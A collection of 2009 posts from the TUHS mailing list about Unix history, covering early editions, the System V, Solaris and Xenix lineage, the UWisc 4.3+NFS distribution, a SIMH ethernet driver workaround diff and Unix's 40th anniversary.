> On Fri, Jul 31, 2009 at 11:01 PM, Uriel<uriel99(a)gmail.com> wrote:
>> Slightly off topic (of this thread), but I'm looking for troff sources
>> of 8th, 9th, 10th and Plan 9 1st Editions to complete the man page
>> collections at http://man.cat-v.org
>>
>> If anyone knows where I can find copies of any of those, I would be
>> most grateful.
>>
>> uriel
>>
>> On Thu, Jul 30, 2009 at 6:13 PM, Benjamin
>> Huntsman<BHuntsman(a)mail2.cu-portland.edu> wrote:
>>> Sorry for the off-topic post, but I'm striking out on google, and I'm virtually certain that someone here will know...
>>>
>>> Does anyone happen to have the ISBN's for the 7th Edition manual set?
>>> Volume I is 0-03-061742-1, but I can't seem to find the others...
>>>
>>> Thanks in advance!
>>>
>>> -Ben
>>>
>>>
>>
>
>
Tim Newsham
http://www.thenewsh.com/~newsham/
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
I thought I remembered something interesting about 6th Edition RK05
handlers, and went back to check RK(IV) in the manual. There it is,
Raid 0.
"Drive numbers (minor devices) of eight and larger are treated
specially. Drive 8+x is the x+1 way interleaving of devices rk0 to
rkx. Thus blocks on rk10 are distributed alternately among rk0, rk1,
and rk2." Goes on to enumerate precautions, like don't use the same
physical drive for both normal and interleaved operation.
I myself never tried this, because I didn't have enough confidence in
the error-free operation of a single RK05 drive, let alone two or
more. Note that this feature disappeared by the time of 7th Edition
RK(4).
carl
--
carl lowenstein marine physical lab u.c. san diego
clowenstein(a)ucsd.edu
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
There's what looks to be a detailed timeline of UNIX history here:
http://www.levenez.com/unix/
Regards,
Lyle
--
Lyle Bickley
Bickley Consulting West Inc.
http://bickleywest.com
"Black holes are where God is dividing by zero"
Can anybody explain why the 2BSDs that were distributed with kernel source
code are numbered 2.8BSD upwards. Why start numbering at 8?
P.S Actually I have a 2.79BSD in the archive which came out in 1979 just
before 2.8BSD, so could it be that the '2.79' means 1979, and numbering
followed incrementally after that?
Cheers,
Warren
Well, the matter is simple: I'm trying to install 2.11 BSD in one PDP-11/23
PLUS with 4MB of ram, and the 'restor' and 'icheck' utilities don't load in
he PDP, returning this message:
"Can't load split I&D files"
I tried with the diverse distributions of Vtserver and diverse versions of
'restor'. In the case of the 2.9BSD this don't happen but the utility can't
understand what is the 'vt' device.
Someone has encountered and solved this problem ?
Regards
Sergio
On Fri, Jun 19, 2009 at 04:34:22PM -1000, Tim Newsham wrote:
> I just got to watch the video (slow download) and it looks
> like the talk went very well! What was the BOF like? Did
> you get a chance to demo the system and have people poke at it?
Yes, the BOF went well, about 30 people from various vintages, a few young
Linux-types, but also old farts like Norman Wilson, Andrew Hume and Bill
Cheswick. I showed them V1 in action, but not ed as my ed skills are not
flash. Also showed V5, V7, but didn't get nsys working. Still, showed them
the nsys code. Lots of stories & anecdotes. It went for 2 hours or so,
with a few stragglers left chatting after that for another 1/2 hour. Overall
a good response.
Cheers,
Warren
Hi,
Anyone any info on PDU (Portable Distributed Unix) A one-time
competitor to RFS (the one-time competitor to NFS). I have read
that PDU is releated to the Newcastle connection, but how did it
differ?
Also, is there any relationship between either PDU or RFS and the
Eightth or Nineth edition network file systems (NETA and NETB)?
-Steve
> post-V7 AT&T
> Unices have always been unavailable, at least at any price that I can
> afford on my college student budget. Solaris, however, at least
> started out as an implementation of SVR4 and is freely available. How
> much of System V still lurks inside Solaris 10 (the last version to
> include such traditional workstation elements as CDE and DPS in the X
> server) and how much has been removed in favor of a more GNU-ish
> userland experience? Is Solaris a good way to get a System V
> experience without breaking either the bank or copyright law, or is
> this a hopeless situation?
I purchased a Solaris 8 source media kit from Sun for around $100 back
when they offered it. A lot of files still have headers saying
Proprietary Unpublished AT&T source code or some such. I don't know
how different it is from System V, because I've never been able to
procure a copy of that source. It sure looks like the Solaris 8
userland, at least, is almost pure System V.
Tim Bradshaw <tfb(a)tfeb.org> wrote:
>
> On 28 May 2009, at 18:00, Michael Kerpan wrote:
>
> > Solaris, however, at least
> > started out as an implementation of SVR4 and is freely available.
> > How much of System V still lurks inside Solaris 10 (the last
> > version to include such traditional workstation elements as CDE and
> > DPS in the X server) and how much has been removed in favor of a
> > more GNU-ish userland experience? Is Solaris a good way to get a
> > System V experience without breaking either the bank or copyright
> > law, or is this a hopeless situation?
>
> I never (other than transiently, and even then in various heavily
> bastardised versions such as Masscomps' RTU) used a Sys V Unix other
> than Solaris. However I did live through the SunOS 4 -> Solaris
> transition. My memory of that is that the early Solaris versions
> (2.2?) seemed extremely austere and unpleasant compared with BSD-
> derived systems. Solaris doesn't seem like that now, and in fact when
> I play with BSD derivatives they seem quite austere.
>
> So I would suspect that, no, Solaris is not any kind of good
> representative of what System V was once like. It's not a GNUoid
> userland (who knows what the next release will be like, if there is
> one? OpenSolaris seems to have drifted rapidly off into optimize-the-
> desktop neverland and I hope will not be representative of what the
> next Solaris looks like), but it's no more representative of what
> things were once like than any system still under development is
> representative of what its distant ancestore were like.
>
> (CDE is not a traditional workstation element in any real sense - it's
> pretty recent. I don't think it even existed in the early Solaris 2
> releases.)
To my knowledge, System V is not quite a well defined concept: there
were several releases and each had different features and capabilities.
The closest you can get today to test the flavour of running an early
System V (not a System V Release 4) native on real and affordable/common
hardware, I think would be getting some old Xenix for the 386 (SVR3),
which is floating around some P2P networks (in eMule I know it is).
Legality of getting it this way for personal and non-commercial use?
Depends on your local law, so beware. This Xenix which is on eMule lacks
TCP/IP (it was an add-on package sold separately), lacks the Development
Kit (compiler, headers, etc.; also sold separately), and obviously lacks
the source code. So if you already know Unix, in two days of use maximum
you should have seen all there is to it and be really bored about it.
The Development and Streams/Tcpip kits for this Xenix are also
"available" in some Internet "places", but I have not ventured to try
them because Xenix is a real bitch to live with...
If you want to inspect the source of a somewhat early System V Release
4, in eMule you also have a tar.bz2 file with the sources for Solaris
2.6 (beware, it won't unzip properly on Windows because some files names
are incompatible with Windows filesystem, i.e. "con" filename, etc.).
You won't be able to "run it", but you can inspect the source of a SVR4
which is only 8 years separated from the original SVR4 AT&T release.
And don't forget OpenServer 5.x, which is a UNIX System V Release 3.2
with many custom add-ons. Version 5.0.7 is still supported by it's now
bankrupt mother company, runs on modern Intel PCs, and has the really
old and rusty taste of ancient UNIX.
After trying all that, you would be thankfull for having the GNU userland
and the Linux kernel. That was my bottom line, anyway.
--
Pepe
pepe(a)naleco.com
As a long-time Linux user and a long time Unix history buff, I've been
wanting to "play" with classic Unix variants for quite some time.
Obviously, Research Unix up through V7 and the BSDs are readily
available and I've at least mucked around with them, but post-V7 AT&T
Unices have always been unavailable, at least at any price that I can
afford on my college student budget. Solaris, however, at least
started out as an implementation of SVR4 and is freely available. How
much of System V still lurks inside Solaris 10 (the last version to
include such traditional workstation elements as CDE and DPS in the X
server) and how much has been removed in favor of a more GNU-ish
userland experience? Is Solaris a good way to get a System V
experience without breaking either the bank or copyright law, or is
this a hopeless situation?
Mike
I seem to remember that for System V TCP/IP that you needed
STREAMS first, so that was SVR3. It may have been back potred
but I don't know. And after that, then you had a choice of
Wollongong or Lachman implementations. Bell Labs had their own as well,
but I believe that was only available internally. Amdahl UTS used
Lachman (which I kind of remember might have been Convergent's code),
but at Indian Hill it was removed and the home grown one put in.
I don't know who did the kernel code, but the user land utilities
were BSD ports done by Ralph Knag in Murray Hill. This was an
interesting setup as it was System/370 hardware so it had a
channel to ethernet device from Spartacus, probably a K200 since
there was a "k200" command to fiddle with it. I largely ignored
TCP/IP initially as on the first UTS release, just telneting out of it
used a ton of system CPU, something would loop in the kernel instead of
going to sleep. Besides we had Datakit for interactive connectivity,
and NSC HyperChannel for intra-datacenter file transfer
(which I remember being something like 50mbs in 1987)
For the original SVR4, the official porting base was the 3b2 and that
group from Summit (which was later spun off as Unix Systems Laboraties
(USL)) used Lachman as well for it's TCP/IP.
> I was wondering if anyone had access to any SYSV for the VAX and could
> say what levels support TCP/IP?
>
> I put in a request at http://www.novell.com/licensing/ntap/legal.html
> to see if they are even entertaining the sale of SYSV licenses... But
> I kind of figure they don't have the actual material itself....
>
> I know A/UX a SYSVr2.2 had TCP/IP but I don't know if it was in the
> AT&T base, or if it was something that UniSoft had added...
>
> Anyways thanks for any/all responses....
>
> Oh and FWIW I've gotten a super minimal SYSIII thing booting on SIMH!
> I've just have to work out some more disk formatting/restoring as the
> root partition sizes don't agree between 32v & SYSIII....
>
> Jason
Hi
(Sorry this was supposed to go out on my fairhaven account not my work email.
I do apologies if it comes through twice, still learning kmail!!)
Just out of curiosity, why not host some of the stuff on the tuhs website ? (i
could be wrong and their might be some copy write stuff but if dmr wont
mind ?
Regards,
Angus
On Wednesday 27 May 2009 05:25, Seth Morabito wrote:
> On Mon, May 25, 2009 at 7:33 PM, Jason Stevens <neozeed(a)gmail.com> wrote:
> > I don't know if it's worth mentioning...
> >
> > but it looks like Dennis Ritchie's page is down....
> >
> > http://www.cs.bell-labs.com/who/dmr/
> >
> > At least there is the wayback machine
> > http://web.archive.org/web/20070930200555/http://www.cs.bell-labs.com/who
> >/dmr/
>
> Sadly, the Wayback Machine is now not serving up the page either:
>
> "We're sorry, access to http://www.cs.bell-labs.com/who/dmr/ has been
> blocked by the site owner via robots.txt."
>
> Indeed, the host's robots.txt file has this entry in it toward the bottom:
>
> User-agent: *
> Disallow: /
>
> so I assume that the site has been re-scraped since coming back up,
> and is now no longer made available by the Internet Archive, according
> to their stated policy on robots.txt exclusions.
>
> Just an oversight, I'm sure, but it shows off the fragility of
> information on the web. You cannot trust the Internet Archive to make
> information publicly available forever.
>
> -Seth
> _______________________________________________
> TUHS mailing list
> TUHS(a)minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/tuhs
I was wondering if anyone had access to any SYSV for the VAX and could
say what levels support TCP/IP?
I put in a request at http://www.novell.com/licensing/ntap/legal.html
to see if they are even entertaining the sale of SYSV licenses... But
I kind of figure they don't have the actual material itself....
I know A/UX a SYSVr2.2 had TCP/IP but I don't know if it was in the
AT&T base, or if it was something that UniSoft had added...
Anyways thanks for any/all responses....
Oh and FWIW I've gotten a super minimal SYSIII thing booting on SIMH!
I've just have to work out some more disk formatting/restoring as the
root partition sizes don't agree between 32v & SYSIII....
Jason
Hi,
>> but it looks like Dennis Ritchie's page is down....
>>
>> http://www.cs.bell-labs.com/who/dmr/
it is online again. Thanks to whoever put it back to live!
Wolfgang Helbig
On 20 May 2009, at 05:56, Derek Peschel wrote:
> Interesting question! And related questions -- When did the current
> start of the epoch get chosen? Were there any false starts or early
> changes? (I seem to recall reading about one change, moving forward
> by a year.) And were there ever any dates in the system that couldn't
> be correctly recorded, because the epoch started too late?
The current epoch was choose for the 4th edition, the man page date
is 8/5/73. The first edition's epoch was 00:00:00, Jan. 1, 1971.
This can be obtained from the time(2) man page. Here they are parapharsed,
I like that epoch changed from the second to thrid editions, but the
man page date did not; and the "bugs" line from the 3rd edition is memorable.
v1:
DATE: 11/3/71
DESCRIPTION: time returns the time since 00:00:00, Jan. 1, 1971, measured in sixtieths of a second.
BUGS: The chronological-minded user will note that 2**32 slxtieths of a seeond is only about 2.5 years.
v2:
DATE: 3/15/72
DESCRIPTION: time returns the time since 00:00:00, Jan. 1, 1971, measured in sixtieths of a second.
BUGS: The chronological-minded user will note that 2**32 slxtieths of a seeond is only about 2.5 years.
v3:
DATE: 3/15/72
DESCRIPTION: time returns the time since 00:00:00, Jan. 1, 1972, measured in sixtieths of a second.
BUGS: The time is stored in 32 bits. This guarantees a crisis every 2.26 years.
v4:
DATE: 8/5/73
DESCRIPTION: time returns the time since 00:00:00 GMT, Jan. 1, 1970, measured in seconds.
> Message: 3
> Date: Wed, 20 May 2009 01:16:18 -0400
> From: Jason Stevens <neozeed(a)gmail.com>
> Subject: Re: [TUHS] UNIX turns forty
> To: tuhs(a)tuhs.org
> Message-ID:
> <46b366130905192216h6ec2a0a6s64357feab5a58b95(a)mail.gmail.com>
> Content-Type: text/plain; charset=ISO-8859-1
>
> What more (well to me) is that interactive Unix was the first
> commercial unix.... I suspect all versions of it's PDP-11 & VAX stuff
> is lost forever?
>
> Does anyone know why Kodak would have bought them? I suspect they had
> some imaging stuff going....?
They did have microfiche printers running a custom X11 interface.
So when do the official celebrations begin? What's a good estimate
of the month and date in 1969 when it all began?
Tim Newsham
http://www.thenewsh.com/~newsham/
I have a question about something in this link:
http://minnie.tuhs.org/Seminars/Saving_Unix/
Where it says:
Two other PUPS members, Norman Wilson and Robert D. Keys, have
been OCR'ing the manuals from 1st Edition up to 5th Edition,
so that they can be given to Dennis and added to the PUPS Archive.
That was back in 1999. Did this ever happen? If not, any chance of
getting it to happen?
Thanks!
Arnold
What a lovely thought!
ISTR that many of the papers in the 1978 issue were from the V7
distribution, so the text is around, but not in that format.
DMR could probably clarify more about those issues. (Please?)
I own paper copies of both, although I'm not sure I could find them
quickly if necessary. :-)
I doubt that SysIII is free, even the 16 bit stuff; the userland is
more interesting than the kernel land, and that stuff didn't really care
(much) about 16 vs. 32 bit.
Arnold
> Date: Mon, 18 May 2009 23:20:03 -0300
> From: Rafael R Obelheiro <rro(a)das.ufsc.br>
> To: tuhs(a)tuhs.org
>
> On Fri, May 15, 2009 at 01:27:50PM -0400, Jason Stevens wrote:
> > I'd love to get as much of literature, ads, pdf's & stuff for all the
> > research editions, and package them up to celebrate the 40th...
>
> On a related note, does anyone know if the 1978 and 1984 issues of the
> Bell System Technical Journal dedicated to UNIX have been made
> available online, or if this is even a possibility? AFAIK, a few
> papers have appeared here and there, but having the full collection
> would be another nice way of celebrating the 40 years...
>
> Best regards,
> Rafael
>
> >
> > I've been doing some limited stuff with v1 & the BSD stuff but it'd be
> > fun to do something for 1/4/5/6/32v...
> >
> > Oh and now that Im thinking about it, is the 16bit SYSIII stuff free?
> > I know it was 'ok' by the fact it had been omitted by the opening memo
> > that had stated that the 32bit versions of SYSIII & SYSV were not
> > free...
> >
> > On Fri, May 15, 2009 at 12:48 PM, Tim Newsham <newsham(a)lava.net> wrote:
> > > So when do the official celebrations begin? What's a good estimate
> > > of the month and date in 1969 when it all began?
> > >
> > > Tim Newsham
> > > http://www.thenewsh.com/~newsham/
> > > _______________________________________________
> > > TUHS mailing list
> > > TUHS(a)minnie.tuhs.org
> > > https://minnie.tuhs.org/mailman/listinfo/tuhs
> > >
> > _______________________________________________
> > TUHS mailing list
> > TUHS(a)minnie.tuhs.org
> > https://minnie.tuhs.org/mailman/listinfo/tuhs
> _______________________________________________
> TUHS mailing list
> TUHS(a)minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/tuhs
>
All,
I've had two papers about early UNIX accepted. One is a paper about our
1st Edition UNIX restoration for the IEEE Journal of the History of Computing,
and the second is a paper about several early UNIX restorations including 1st
Ed for the Usenix 2009 technical conference.
This means that I'll be attending the Usenix conference in San Diego in
June, so if anybody else is attending I'd love to catch up with you guys.
Cheers all and again thanks for all the hard work and the fantastic results!
Warren Toomey
All, looks like I will be attending the Usenix technical conference in
San Diego in June this year, to present a paper on restoring some of the
early Unix artifacts. If anybody else is attending the conference, or is
in town, I would very much like to catch up.
P.S Unix turns 40 in mid-2009 as well. Happy birthday Unix!
Cheers,
Warren
Hi. Most of those files would seem to be the generic XDR and RPC code
that Sun released for general use.
The three nfs/* files make me curious though, since Sun would license
their implementation, but not give it away.
It may be that the UWisc dist actually used real Sun code, in which
case anyone using it would have needed a SunOS license also.
Ah, those were the days. I remember that the early versions of SunOS 4.1.x
had both RFS and NFS in them. The original System V Release 4 did too,
as did early versions of Solaris. Sometime around Solaris 5.3 or so Sun
wised up that no-one was using or cared about RFS and they pulled it
out of Solaris. :-)
Arnold
> Date: Tue, 24 Mar 2009 07:00:55 -0400
> Subject: Re: [TUHS] Uwisc4.3 question...
> From: Jason Stevens <neozeed(a)gmail.com>
> To: Aharon Robbins <arnold(a)skeeve.com>, tuhs(a)minnie.tuhs.org
> X-MIME-Autoconverted: from quoted-printable to 8bit by f7.net id n2OB0ta22275
>
> Yeah there is certainly sun code... for example here's the copyright
> bit in a file:
>
> /*
> * xdr.c, Generic XDR routines implementation.
> *
> * Copyright (C) 1984, Sun Microsystems, Inc.
> *
> * These are the "generic" xdr routines used to serialize and de-serialize
> * most common data items. See xdr.h for more info on the interface to
> * xdr.
> */
>
> % egrep -ril 'sun microsystems' *
> h/des.h
> h/dnlc.h
> nfs/nfs_server.c
> nfs/nfs_vfsops.c
> nfs/nfs_vnodeops.c
> rpc/auth.h
> rpc/authunix_prot.c
> rpc/auth_kern.c
> rpc/auth_none.c
> rpc/auth_unix.c
> rpc/auth_unix.h
> rpc/clnt.h
> rpc/clnt_kudp.c
> rpc/clnt_perror.c
> rpc/clnt_raw.c
> rpc/clnt_simple.c
> rpc/clnt_tcp.c
> rpc/clnt_udp.c
> rpc/kudp_fastsend.c
> rpc/pmap_clnt.c
> rpc/pmap_clnt.h
> rpc/pmap_getmaps.c
> rpc/pmap_getport.c
> rpc/pmap_prot.c
> rpc/pmap_prot.h
> rpc/pmap_rmt.c
> rpc/rpc.h
> rpc/rpc_msg.h
> rpc/rpc_prot.c
> rpc/subr_kudp.c
> rpc/svc.c
> rpc/svc.h
> rpc/svc_auth.c
> rpc/svc_auth.h
> rpc/svc_auth_unix.c
> rpc/svc_kudp.c
> rpc/svc_raw.c
> rpc/svc_simple.c
> rpc/svc_tcp.c
> rpc/svc_udp.c
> rpc/xdr.c
> rpc/xdr.h
> rpc/xdr_array.c
> rpc/xdr_float.c
> rpc/xdr_mbuf.c
> rpc/xdr_mem.c
> rpc/xdr_rec.c
> rpc/xdr_reference.c
> rpc/xdr_stdio.c
> sys/heap_kmem.c
> sys/vfs_dnlc.c
> ufs/quota.c
> ufs/quota_syscalls.c
> ufs/quota_ufs.c
> ufs/ufs_dir.c
>
>
> On Tue, Mar 24, 2009 at 5:14 AM, Aharon Robbins <arnold(a)skeeve.com> wrote:
> >> Date: Sun, 22 Mar 2009 00:53:07 -0400
> >> From: Jason Stevens <neozeed(a)gmail.com>
> >> To: tuhs(a)minnie.tuhs.org
> >> Subject: [TUHS] Uwisc4.3 question...
> >>
> >> I went ahead and downloaded this [
> >> http://www.tuhs.org/Archive/4BSD/Distributions/thirdparty/UWisc4.3/ ],
> >> made up some tape images and installed it on SIMH... And what I found
> >> is that as far as I can tell there is *NO* information about this
> >> thing..
> >>
> >> All I can find is that it includes the vfs layer from SunOS and it's
> >> NFS... It looks like beta software from the root user being "The Not
> >> Ready for Prime Time Super User".
> >
> > Does the code actually say "Sun Microsystems"? If not, then this might have
> > been the VFS and NFS stuff that got folded back into BSD Reno.
> >
> > I think there were other schools that ran this. At the same time
> > as this entry (1989) I was a sysadmin in the computing center
> > of Emory University and we were running Mt. Xinu's mixture of
> > 4.3 BSD with NFS from Sun, and then later their commercial Unix
> > on Vax 11/780s, and starting to move to Sparcs running SunOS 4.0.
> One of the uni's I went to made that transition in the mid 90's.. At
> that time I didn't realize how many 'upgrades' they had made to Ultrix
> to make it... usable. Although I don't think I miss archie/veronica
> but the simplicity of pine/lynx is kind of there.. oh sure they still
> run on 'modern' things but it isn't the same really.
> >
> > The comp. center preferred having a vendor with whom there could be
> > a support contract - IIRC then otherwise we probably would have
> > been running this too.
> >
> > Ah, those were the days, when men were real men, and computers
> > were vaxen. :-)
> >
> >> FWIW here is the UUCP entry I found...
> >> ------
> >> #N eedsp
> >> #S Vax 11/780; 4.3+NFS Wisconsin Unix
> >> #O School of Electrical Engineering
> >> #C Deborah J. Jackson
> >> #E gt-eedsp!deb
> >> #T +1 404 894 3058
> >> #P School of EE, Georgia Tech, Atlanta, GA, 30332
> >> #L 84 23 43 W / 33 46 30 N
> >> #W eedsp!deb (Deb Jackson); Wed Jul 19 11:35:13 EDT 1989
> >> ------
> >
> > I knew Deb Jackson and worked with her a little when we were both at GT
> > (I was in Information and Computer Science, not EE) and then a lot when
> > I suggested that the start-up company I was at hire her (which they
> > did). I've not seen her in around 18 years, nor do I know where she is
> > now, although presumably she's still in Atlanta somewhere.
> >
> > Arnold
> >
>
> It's funny the weird things that get left around the internet... and
> the host file from that tape image is MASSIVE.. lol and I thought
> having a DNS zone with that many enteries was crazy... I did manage
> to hack the networking for it to work... It's not elegant, but
> commenting out the error checking in if_de's derecv procedure seems to
> work... I could ping around for the last 5 hours, and telnet into it.
> I'll have to build some package with simh to run it on windows...
>
I went ahead and downloaded this [
http://www.tuhs.org/Archive/4BSD/Distributions/thirdparty/UWisc4.3/ ],
made up some tape images and installed it on SIMH... And what I found
is that as far as I can tell there is *NO* information about this
thing..
All I can find is that it includes the vfs layer from SunOS and it's
NFS... It looks like beta software from the root user being "The Not
Ready for Prime Time Super User".
There is also a tadl user, Tad Lebeck which I think is from "Storage
Confrence"..
Anyways it seems absent from the UNIX tree, and just about anywhere
from google's search of usenet, other then a single node running this
back in the UUCP days..
So is this a unique build of 4.3, is it it's own thing? Should it be
added to the unix tree? Did it get rolled back into RENO?
It does appear to be dead end, but I haven't combed that much thru it..
FWIW here is the UUCP entry I found...
------
#N eedsp
#S Vax 11/780; 4.3+NFS Wisconsin Unix
#O School of Electrical Engineering
#C Deborah J. Jackson
#E gt-eedsp!deb
#T +1 404 894 3058
#P School of EE, Georgia Tech, Atlanta, GA, 30332
#L 84 23 43 W / 33 46 30 N
#W eedsp!deb (Deb Jackson); Wed Jul 19 11:35:13 EDT 1989
------
And for the heck of it, a bootup log..
------
loading ra(0,0)boot
Boot
: ra(0,0)vmunix
290188+89696+102928 start 0x12f8
4.3 BSD UNIX #3: Mon Dec 29 11:54:56 CST 1986
tadl@brie:/usr/src/bsd/4.3/sys/GENERIC
real mem = 8388608
SYSPTSIZE limits number of buffers to 134
avail mem = 7136256
using 134 buffers containing 524288 bytes of memory
mcr0 at tr1
mcr1 at tr2
uba0 at tr3
hk0 at uba0 csr 177440 vec 210, ipl 15
rk0 at hk0 slave 0
rk1 at hk0 slave 1
rk2 at hk0 slave 2
rk3 at hk0 slave 3
uda0 at uba0 csr 172150 vec 774, ipl 15
ra0 at uda0 slave 0
zs0 at uba0 csr 172520 vec 224, ipl 15
ts0 at zs0 slave 0
dz0 at uba0 csr 160100 vec 300, ipl 15
dz1 at uba0 csr 160110 vec 310, ipl 15
dz2 at uba0 csr 160120 vec 320, ipl 15
dz3 at uba0 csr 160130 vec 330, ipl 15
Changing root device to ra0a
Automatic reboot in progress...
Sat Mar 21 16:45:41 PST 1987
/dev/ra0a: 355 files, 5885 used, 1544 free (8 frags, 192 blocks, 0.1% fragmion)
/dev/rra0g: 12289 files, 65182 used, 180043 free (275 frags, 22471
blocks,fragmentation)
/dev/rra0h: 2 files, 9 used, 138575 free (15 frags, 17320 blocks, 0.0% fragtion)
Sat Mar 21 16:45:49 PST 1987
/dev/ra0a mounted on /
/dev/ra0g mounted on /usr
/dev/ra0h mounted on /mnt
starting rpc daemons: portmap rpcd.
starting system logger
starting local deamons: routed sendmail biod.
preserving editor files
clearing /tmp
standard daemons: update cron.
starting network daemons: inetd printer.
Sat Mar 21 16:45:54 PST 1987
Wisconsin UNIX (myname console)
4.3+NFS > V.*
login: root
Last login: Sat Mar 21 16:44:51 on console
4.3 BSD UNIX #3: Mon Dec 29 11:54:56 CST 1986
You have mail.
Don't login as root, use su
myname#
> Date: Sun, 22 Mar 2009 00:53:07 -0400
> From: Jason Stevens <neozeed(a)gmail.com>
> To: tuhs(a)minnie.tuhs.org
> Subject: [TUHS] Uwisc4.3 question...
>
> I went ahead and downloaded this [
> http://www.tuhs.org/Archive/4BSD/Distributions/thirdparty/UWisc4.3/ ],
> made up some tape images and installed it on SIMH... And what I found
> is that as far as I can tell there is *NO* information about this
> thing..
>
> All I can find is that it includes the vfs layer from SunOS and it's
> NFS... It looks like beta software from the root user being "The Not
> Ready for Prime Time Super User".
Does the code actually say "Sun Microsystems"? If not, then this might have
been the VFS and NFS stuff that got folded back into BSD Reno.
I think there were other schools that ran this. At the same time
as this entry (1989) I was a sysadmin in the computing center
of Emory University and we were running Mt. Xinu's mixture of
4.3 BSD with NFS from Sun, and then later their commercial Unix
on Vax 11/780s, and starting to move to Sparcs running SunOS 4.0.
The comp. center preferred having a vendor with whom there could be
a support contract - IIRC then otherwise we probably would have
been running this too.
Ah, those were the days, when men were real men, and computers
were vaxen. :-)
> FWIW here is the UUCP entry I found...
> ------
> #N eedsp
> #S Vax 11/780; 4.3+NFS Wisconsin Unix
> #O School of Electrical Engineering
> #C Deborah J. Jackson
> #E gt-eedsp!deb
> #T +1 404 894 3058
> #P School of EE, Georgia Tech, Atlanta, GA, 30332
> #L 84 23 43 W / 33 46 30 N
> #W eedsp!deb (Deb Jackson); Wed Jul 19 11:35:13 EDT 1989
> ------
I knew Deb Jackson and worked with her a little when we were both at GT
(I was in Information and Computer Science, not EE) and then a lot when
I suggested that the start-up company I was at hire her (which they
did). I've not seen her in around 18 years, nor do I know where she is
now, although presumably she's still in Atlanta somewhere.
Arnold
if anyone is interested, I noticed that if you remove the error
checking form the recv portion of the if_de driver it seems to work
for 4.3 BSD & variants... As far as I know there is no if_de for 4.2
BSD... But then if there were you would still have it's
incompatibility problems...
Anyways, here is a diff from 4.3 BSD
*** if_de-orig.c Mon Mar 24 04:05:10 1986
--- if_de.c Mon Mar 24 04:06:09 1986
***************
*** 457,466 ****
len = (rp->r_lenerr&RERR_MLEN) - sizeof (struct ether_header)
- 4; /* don't forget checksum! */
/* check for errors */
! if ((rp->r_flags & (RFLG_ERRS|RFLG_FRAM|RFLG_OFLO|RFLG_CRC)) ||
(rp->r_flags&(RFLG_STP|RFLG_ENP)) != (RFLG_STP|RFLG_ENP) ||
(rp->r_lenerr & (RERR_BUFL|RERR_UBTO|RERR_NCHN)) ||
len < ETHERMIN || len > ETHERMTU) {
ds->ds_if.if_ierrors++;
if (dedebug)
printf("de%d: ierror, flags=%b lenerr=%b (len=%d)\n",
--- 457,468 ----
len = (rp->r_lenerr&RERR_MLEN) - sizeof (struct ether_header)
- 4; /* don't forget checksum! */
/* check for errors */
! /*** if ((rp->r_flags & (RFLG_ERRS|RFLG_FRAM|RFLG_OFLO|RFLG_CRC)) ||
(rp->r_flags&(RFLG_STP|RFLG_ENP)) != (RFLG_STP|RFLG_ENP) ||
(rp->r_lenerr & (RERR_BUFL|RERR_UBTO|RERR_NCHN)) ||
len < ETHERMIN || len > ETHERMTU) {
+ ***/
+ if(1==5){
ds->ds_if.if_ierrors++;
if (dedebug)
printf("de%d: ierror, flags=%b lenerr=%b (len=%d)\n",
I have set it up with my SLiRP patch, and I had it pinging away at
10.0.2.2 for 5 hours, 100% success, and I had no issues TELNETTing
into the VM..I think that BSD see's the crc32 on the end and treats
all inbound packets as bad, dropping them all.. so I just quickly
sidestepped the error check.. I would imagine this would work with
SIMH's libpcap support so you can now get your virtual 11/780 onto the
Internet, and party like it's 1986!
For any windows users out there, I'll package up 4.3 BSD & the
Wisconsin version up onto sourceforge...
http://sourceforge.net/project/showfiles.php?group_id=204974&package_id=245…
>
>H.J. Thomassen scripsit:
>
>> In August 2008 a thread was started by 'zmkm' where he asked (among
>> other things) for a "unix assembler manual" by DMR. I could post a
>> scan on line if somebody is still interested. It's a 12 page text and
>> the CPU involved is -of course- DEC PDP-11.
>
>Go for it, I'd say. Many will be interested, and no one is likely to sue.
At http://wwwlehre.ba-stuttgart.de/~helbig/os/v6/doc/index.html
you'll find the V6 assembler manual.
Enjoy,
Wolfgang
Hi all,
I just discovered this list & decided to join.
In August 2008 a thread was started by 'zmkm' where
he asked (among other things) for a "unix assembler
manual" by DMR. I could post a scan on line if
somebody is still interested. It's a 12 page text
and the CPU involved is -of course- DEC PDP-11.
Plse let me know.
Regards
--
Hendrik-Jan Thomassen <hjt(a)ATComputing.nl>
Wow I'm surprised a few hours googleing about and I got it running....
I found this 'idle' emulator ("Incomplete Draft of a Lisa Emulator"
http://sourceforge.net/projects/idle-lisa-emu ), which can infact run
Xenix! It also says it can run the uniplus SYSV (so says the
readme)..
Searching around I found the following site:
http://unixsadm.blogspot.com/2007/12/xenix-blast-from-past-looking-back-at.…
which has Xenix 3.0 disk images in the DART format... which as luck
would have it idle cannot mount. However I found another lisa
emulator, lisaem ( http://www.sunder.net/ ) which has a tool to
convert the disks from DART to DC42 (disk copy 4.2).
So it was a simple matter of converting the disks
lisafsh-tool.exe "Xenix OS Boot Floppy"
quit
... etc etc...
Then firing up idle, setting the CPU to max speed, and booting up...
whenver I was going to answer a question I toggled it back to 5Mhz..
otherwise it would take FOREVER to boot... lol like the 'good old
days'.
Once the boot floppy had formatted the 5mb hard disk image, and
transfered on reboot I had to tell the bootloader to boot from the
profile disk..
pf(0,0)xenix
And away it went. After installing the OS & the C compiler I'm left
with 23 blocks free!.. which I guess for a 5mb disk, is pretty cool..
Anyways there are assorted Xenix PDF's which can be found here
http://www.tenox.tc/docs/
Namely these two for Apple Lisa Xenix..
http://www.tenox.tc/docs/apple_lisa_xenix_programmers_guide.pdfhttp://www.tenox.tc/docs/apple_lisa_xenix_programmers_reference.pdf
It's amazing that lisa emulators were sort of capable of running Lisa
Office System, now they can run the old unix stuff... it's still
impressive.
Hello from Italy!
I'm interested in Xenix copyright. Do someone of you know who exactly
owns Xenix? According to Wikipedia, Microsoft gave everything to SCO,
but did they gave also the copyright for the non-x86 versions?
I'm asking this because I'm interested in "saving" Xenix from fading
into the digital night. If everything belongs to SCO, then maybe an
"binary only, non-commercial hobbyst license" could *eventually* be
released, at least for older or non-x86 products
Best regards,
Lorenzo
PS: First mailing list post ever. I'm definitely a newbie, here :)
Yeah that's the extent of it. trust me I was shocked when I tried to
dd a Xenix install, and Qemu booted it right up. But without a C
compiler it's useless. I should add that the TCP/IP supported like 3
